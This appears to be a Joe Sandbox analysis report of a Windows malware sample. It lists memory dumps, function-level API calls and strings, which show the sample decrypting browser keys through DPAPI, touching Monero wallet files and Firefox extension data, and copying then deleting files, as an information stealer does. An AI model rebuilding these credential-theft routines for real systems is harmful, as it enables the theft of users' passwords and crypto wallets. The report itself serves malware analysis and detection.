Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: d1bf15bc06c269e3e2d111f072717c3d7267ac6e9951efad6dbb12f3a886eab9
Instruction ID: f4c483f29d91b8da53abc3749822c77b9d31143cf89ebe02d36166be95add7a6
Opcode Fuzzy Hash: d1bf15bc06c269e3e2d111f072717c3d7267ac6e9951efad6dbb12f3a886eab9
Instruction Fuzzy Hash: FE01E1B9A40208BBDB14DFE4DC49FAEB7BCFB48705F108159FA05972C0D6759A018F91

Function 00A0A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(010B9198,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 00A0A0BD
LoadLibraryA.KERNEL32(010BD800), ref: 00A0A146

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Part of subcall function 00A1A820: lstrlen.KERNEL32(00A04F05,?,?,00A04F05,00A20DDE), ref: 00A1A82B
Part of subcall function 00A1A820: lstrcpy.KERNEL32(00A20DDE,00000000), ref: 00A1A885

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A920: lstrcpy.KERNEL32(00000000,?), ref: 00A1A972
Part of subcall function 00A1A920: lstrcat.KERNEL32(00000000), ref: 00A1A982

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

SetEnvironmentVariableA.KERNEL32(010B9198,00000000,00000000,?,00A212D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00A20AFE), ref: 00A0A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00A0A0B2, 00A0A0C6, 00A0A0DC

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 7d22354ce0f27d8a326e74705410e74f63de2aea0c39085883aac70102e817c7
Instruction ID: bb365320254193089afddc1a614739aed83a80d115f81d743b3ae93a3afee1fb
Opcode Fuzzy Hash: 7d22354ce0f27d8a326e74705410e74f63de2aea0c39085883aac70102e817c7
Instruction Fuzzy Hash: 694162B9981208AFDB04DFA4FE85BEE37B8BB1B301F150128F505932A0DB345985CB63

Function 00A0A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

Part of subcall function 00A18B60: GetSystemTime.KERNEL32(00A20E1A,010BA690,00A205AE,?,?,00A013F9,?,0000001A,00A20E1A,00000000,?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A18B86

Part of subcall function 00A1A920: lstrcpy.KERNEL32(00000000,?), ref: 00A1A972
Part of subcall function 00A1A920: lstrcat.KERNEL32(00000000), ref: 00A1A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00A0A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00A0A3FF
lstrlen.KERNEL32(00000000), ref: 00A0A6BC

Part of subcall function 00A1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A1A7E6

DeleteFileA.KERNEL32(00000000), ref: 00A0A743

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 3ad73e2636e432017f3e906a9f838fd4aabd624edb55ebff8afbd65a5ec09e22
Instruction ID: b5d045a273e7f3d8405d5318ac491d14f3b28cd410a58976878ceefd4fe69a8c
Opcode Fuzzy Hash: 3ad73e2636e432017f3e906a9f838fd4aabd624edb55ebff8afbd65a5ec09e22
Instruction Fuzzy Hash: 2FE112769111089BDB05FBA4DE92EEE733CBF24310F548569F51772091EF306A8ACB62

Function 00A0D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

Part of subcall function 00A18B60: GetSystemTime.KERNEL32(00A20E1A,010BA690,00A205AE,?,?,00A013F9,?,0000001A,00A20E1A,00000000,?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A18B86

Part of subcall function 00A1A920: lstrcpy.KERNEL32(00000000,?), ref: 00A1A972
Part of subcall function 00A1A920: lstrcat.KERNEL32(00000000), ref: 00A1A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00A0D801
lstrlen.KERNEL32(00000000), ref: 00A0D99F
lstrlen.KERNEL32(00000000), ref: 00A0D9B3
DeleteFileA.KERNEL32(00000000), ref: 00A0DA32

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: b43c4c8dbcc9a04275bcca2d5ed5ed39e9716763590322bc1dc111142b90a0e8
Instruction ID: 0bc0925d784f45bf2993962bb7419e5edc7b46d9b4525d4cf2000f13836278c4
Opcode Fuzzy Hash: b43c4c8dbcc9a04275bcca2d5ed5ed39e9716763590322bc1dc111142b90a0e8
Instruction Fuzzy Hash: A08125769511089BDB04FBA4DE96EEE733CBF24310F504529F507B6091EF346A8ACB62

Function 00A0F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A1A7E6

Part of subcall function 00A099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00A099EC
Part of subcall function 00A099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00A09A11
Part of subcall function 00A099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00A09A31
Part of subcall function 00A099C0: ReadFile.KERNEL32(000000FF,?,00000000,00A0148F,00000000), ref: 00A09A5A
Part of subcall function 00A099C0: LocalFree.KERNEL32(00A0148F), ref: 00A09A90
Part of subcall function 00A099C0: CloseHandle.KERNEL32(000000FF), ref: 00A09A9A

Part of subcall function 00A18E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00A18E52

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

Part of subcall function 00A1A920: lstrcpy.KERNEL32(00000000,?), ref: 00A1A972
Part of subcall function 00A1A920: lstrcat.KERNEL32(00000000), ref: 00A1A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00A21580,00A20D92), ref: 00A0F54C
lstrlen.KERNEL32(00000000), ref: 00A0F56B

Strings

^userContextId=4294967295, xrefs: 00A0F59C
moz-extension+++, xrefs: 00A0F5AD

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 413c58fc755658aab1f24c47d3dae2e34153ecc43ad2ec5b5b156e4e725a6da2
Instruction ID: af8d51103ef58488cbe2732673d02a8854bdeba03d4878ce92c3b3275a5363ac
Opcode Fuzzy Hash: 413c58fc755658aab1f24c47d3dae2e34153ecc43ad2ec5b5b156e4e725a6da2
Instruction Fuzzy Hash: 0F512575D11108ABDB04FBB4EE96DED7338AF64310F448528F416A71D1EE346B4ACBA2

Function 00A09CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Part of subcall function 00A099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00A099EC
Part of subcall function 00A099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00A09A11
Part of subcall function 00A099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00A09A31
Part of subcall function 00A099C0: ReadFile.KERNEL32(000000FF,?,00000000,00A0148F,00000000), ref: 00A09A5A
Part of subcall function 00A099C0: LocalFree.KERNEL32(00A0148F), ref: 00A09A90
Part of subcall function 00A099C0: CloseHandle.KERNEL32(000000FF), ref: 00A09A9A

Part of subcall function 00A18E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00A18E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00A09D39

Part of subcall function 00A09AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00A04EEE,00000000,00000000), ref: 00A09AEF
Part of subcall function 00A09AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00A04EEE,00000000,?), ref: 00A09B01
Part of subcall function 00A09AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00A04EEE,00000000,00000000), ref: 00A09B2A
Part of subcall function 00A09AC0: LocalFree.KERNEL32(?,?,?,?,00A04EEE,00000000,?), ref: 00A09B3F

Part of subcall function 00A09B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00A09B84
Part of subcall function 00A09B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00A09BA3
Part of subcall function 00A09B60: LocalFree.KERNEL32(?), ref: 00A09BD3

Strings

"encrypted_key":", xrefs: 00A09D30
DPAPI, xrefs: 00A09D89
, xrefs: 00A09DC1

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 4cf7a32bb82256074ceb96450fda087c933fc03f0e515d090face7b22f826146
Instruction ID: a0df573cddc257f2d2586bdbd4d8fc899b66e5e7990e832f9996304063a46398
Opcode Fuzzy Hash: 4cf7a32bb82256074ceb96450fda087c933fc03f0e515d090face7b22f826146
Instruction Fuzzy Hash: 363152B5D1010DABCF04EFE4ED95AEFB7B8BF48304F144528E915A7282E7349A44CBA1

Function 00A16AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,010B9208,?,00A2110C,?,00000000,?,00A21110,?,00000000,00A20AEF), ref: 00A16ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00A16AE8
CloseHandle.KERNEL32(00000000), ref: 00A16AF9
Sleep.KERNEL32(00001770), ref: 00A16B04
CloseHandle.KERNEL32(?,00000000,?,010B9208,?,00A2110C,?,00000000,?,00A21110,?,00000000,00A20AEF), ref: 00A16B1A
ExitProcess.KERNEL32 ref: 00A16B22

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
